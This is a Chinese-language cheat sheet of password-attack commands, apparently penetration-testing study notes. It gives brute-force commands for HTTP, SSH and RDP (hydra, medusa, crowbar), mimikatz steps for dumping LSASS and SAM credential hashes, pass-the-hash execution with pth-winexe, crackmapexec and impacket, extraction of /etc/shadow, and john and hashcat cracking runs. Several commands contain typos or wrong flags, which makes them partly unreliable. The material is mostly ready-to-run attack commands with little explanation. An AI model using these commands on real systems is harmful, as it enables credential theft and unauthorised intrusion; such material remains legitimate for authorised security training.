常见的信息收集手段
1. 字典攻击
2. 提取密码 HASH(明文、PtH 碰撞)
3. 信息收集
| /usr/share/wordlists |
| /usr/share/seclist |
| cewl <URL/FILE> [-m {NUM}最小长度] [-w {OUTPUT}输出文件] |
| |
| john [--wordlist={DIRCTY}待变形字典] --rules [--stdout {OUTPUT}输出文件] |
| |
| medusa -d |
| |
| medusa -M http -q |
| |
| medusa -h <HOST> -u <USER> -P rockyou.txt -M http -m DIR:/admin |
| |
SSH 公钥认证和 RDP 密码破解
| apt install crowbar |
| |
| crowbar -b rdp -s 192.168.1.0/24 -u <USERNAME> -C rockyou.txt -n 1 |
| |
和 Medusa 类似
| hydra -l <USERNAME> -p rockyou.txt ssh://<HOST> |
| |
| hydra <HOST> http-form-post '/from/index.php:user=<USERNAME>&pass=^PASS^:INVALID LOGIN" -l <USERNAME> -P rockyou.txt -vV -f |
| #INVALID LOGIN为判断条件字符串,判断是否成功 |
| |
将任意长度的内容通过哈希变成长度固定的指纹,理论上无逆向可能,但可以通过明文,PtH 碰撞等方式进行哈希攻击
Openwall-HASH 类型检测
也可以通过 Hashid 识别
一般来说有如下构成如下
1.
“`$6“` 使用 SHA-512
其中 1 为 MD5,5 为 SHA-256
可以指定数字生成对应的密钥
| openssl passwd -NUM <PASS> |
-
“`$Rw99zZ2B“` 加盐
Windows 的密码存储在 SAM 文件中
由于 Windows 内核独占锁定 SAM 数据库,在运行过程中无法拷贝 SAM 文件
但是可以通过 mimikatz 进行 dump hash,提取本地安全机构子系统 (LSASS,SYSTEM 用户运行的权限进程) 进程内存中缓存的密码哈希(需要管理员权限)
| minikatz.exe |
| |
| privikege::debug |
| |
| sekurlsa::logonpasswords |
| |
| token::elevate |
| |
| lsadump::sam |
| |
通过 PtH (Pass the HASH) 攻击 NTLM 哈希值
中间人抓取并重放 HASH
| pth-winexe -U <username>%<LM>:<NTLM> //<HOST> cmd |
| |
| crackmapexec smb -u <USER> -h <HASH> -d . -x "CMD" <HOST> |
| impacket-wmiexec <USER>@<HOST> -hashes 00000000000000000000000000000000:<HASH> |
由于 Windows 的哈希是不加盐的,所以可以通过爆破找出原文
| vi hash.txt |
| |
| john hash.txt --format=NT |
| john --wordlist=rockyou.txt hash.txt --format=NT |
| john --rules --wordlist=rockyou.txt hash.txt --format=NT |
| unshadow /etc/passwd /etc/shadow > unshadowed.txt |
| |
| john --rules --wordlist=rockyou.txt unshadowed.txt |
| |
| --fork 8 --node=1-8/16 |
| --fork 8 --node=9-16/16 |
| |
| hashcat64.exe -b |
| |
| hashcat -m 1000 -a 0 hash.txt rockyou.txt |
| |